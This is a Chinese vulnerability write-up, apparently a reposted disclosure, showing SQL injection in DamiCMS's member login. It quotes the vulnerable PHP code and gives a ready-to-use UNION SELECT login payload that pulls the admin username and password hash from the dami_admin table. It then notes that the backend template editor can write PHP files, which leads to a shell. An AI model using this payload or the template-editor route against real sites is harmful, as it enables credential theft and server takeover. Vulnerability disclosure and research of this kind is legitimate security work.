大米CMS注入后台可以getshelll

没穿底裤 2020年1月1日05:07:08评论1,074 views字数 1289阅读4分17秒阅读模式
摘要

大米CMS注入,后台可以getshelll一)注入1.挖洞前奏Damicms搭建在本地以后,对cms/dami/Core/Lib/Think/Db/Db.class.php进行修改,将sq语句var_dump处理。


漏洞作者: wilson

大米CMS注入,后台可以getshelll

详细说明:

一)注入

1.挖洞前奏

Damicms搭建在本地以后,对cms/dami/Core/Lib/Think/Db/Db.class.php进行修改,将sq语句var_dump处理。

然后就进行黑盒测试。搜索点,以及admin登入点输入单引号就会给过滤了。。。

看到有注册功能,发现登入点居然没有过滤单引号。。。

大米CMS注入后台可以getshelll

 

这运气比较好了

2.漏洞原理

于是苦逼看代码,发现thinkphp 看不懂 - -

去学习了一下回来了。。。。

发现登入点在: dami/Web/Lib/Action/MemberAction.class.php

这控制器里面

发现问题代码:

[php]

$username = htmlspecialchars($_REQUEST['username']);

$userpwd = $_REQUEST['userpwd'];

if($username=='' || $userpwd==''){$this->error('请输入用户名和密码?');exit();}

$info = M('member')->where("username='{$username}' and is_lock=0")->find();

if(!$info){$this->error('用户不存在或已经禁止登陆!');}

else

{

if($info['userpwd'] != md5($userpwd)){

$this->error('密码错误,请重新登录!');

}else{

$_SESSION['dami_uid'] = $info['id'];

$_SESSION['dami_username'] = $info['username'];

if(!empty($_REQUEST['lasturl'])){

$this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl'])));

}

else{

$this->assign('jumpUrl',U('Member/main'));

}

$this->success('登录成功~');

}

}

[/php]

发现username没有过滤就放进去了......我想为什么thinkphp不过滤呢?测试其它的点都够了了。最后发现了。

大米CMS注入后台可以getshelll

 
Thinkphp的where查看如果只对字符型的,他是不会过滤的 = =......他过滤数组进去的和对象进去的对象。。。。。。。。。

程序员过分信赖thinkphp的过滤,导致漏洞发生......

也就是登入时候用户名:-1' union select 1,(select concat(id,0x23,username,0x23,password) from dami_admin),'c4ca4238a0b923820dcc509a6f75849b',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#

密码是1

登入进去看见用户名就是注入出的东西了。

大米CMS注入后台可以getshelll

 

4.后台编辑文件直接生成php

模板管理 编辑文件 可以直接生成php文件

大米CMS注入后台可以getshelll

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:07:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大米CMS注入后台可以getshelllhttp://cn-sec.com/archives/75927.html

发表评论

匿名网友 填写信息